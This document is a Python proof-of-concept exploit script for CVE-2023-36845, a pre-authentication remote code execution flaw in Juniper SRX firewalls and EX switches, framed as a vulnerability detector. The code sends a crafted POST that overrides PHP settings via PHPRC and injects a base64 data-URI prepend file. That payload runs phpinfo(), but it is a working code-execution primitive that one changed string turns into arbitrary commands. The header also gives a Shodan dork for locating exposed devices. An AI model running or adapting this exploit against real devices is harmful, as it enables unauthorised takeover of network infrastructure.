# *************************************************************************************************** # Exploit Title: juniper-SRX-Firewalls&EX-switches (PreAuth-RCE) (PoC) # Description: # # This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845. # It executes the phpinfo() function on the login page of the target device, # allowing to inspect the PHP configuration. also this script has the option to save the phpinfo() # output to a file for further analysis. # # Shodan Dork: http.favicon.hash:2141724739 # Date: 2023/10/01 # Exploit Author: whiteOwl ([email protected]) # Vendor Homepage: https://whiteowl-pub.github.io # Version: Versions Prior to 20.4R3-S9,21.1R1,21.2R3-S7,21.3R3-S5, # 21.4R3-S5,22.1R3-S4,22.2R3-S2,22.3R2-S2/R3-S1,22. # 4R2-S1/R3,23.2R1-S1/R2 # Tested on: JUNOS SM804122pri 15.1X49-D170.4 # CVE : cve-2023-36845 # *************************************************************************************************** import argparse import requests banner = """ ************************************************************* * CVE-2023-36845 Vulnerability Detector & Proof of concept * * This script checks for the CVE-2023-36845 vulnerability * * and run phpinfo() on vulnerable devices. * * If you suspect a vulnerable system, please take action * * immediately to secure it. * * * * Author: whiteowl * ************************************************************* """ def send_request(url, output_file=None, verbose=False): target_url = f"{url}/?PHPRC=/dev/fd/0" data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="' headers = { 'User-Agent': 'Mozilla/5.0', } try: response = requests.post(target_url, headers=headers, data=data, stream=True) if response.status_code == 200: print("The Target Device is Vulnerable to: CVE-2023-36845") else: print("Not Vulnerable: Status Code", response.status_code) if output_file: with open(output_file, 'w', encoding='utf-8') as file: file.write(response.text) if verbose: print(f"HTTP Status Code: {response.status_code}") print("Response Headers:") for header, value in response.headers.items(): print(f"{header}: {value}") print("Response Content:") print(response.text) except requests.exceptions.RequestException as e: print(f"An error occurred: {e}") def main(): print(banner) parser = argparse.ArgumentParser(description="Custom curl-like script") parser.add_argument("-u", "--url", required=True, help="URL to send the HTTP request") parser.add_argument("-o", "--output", help="Output file to save the HTML content") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode") args = parser.parse_args() send_request(args.url, args.output, args.verbose) if __name__ == "__main__": main()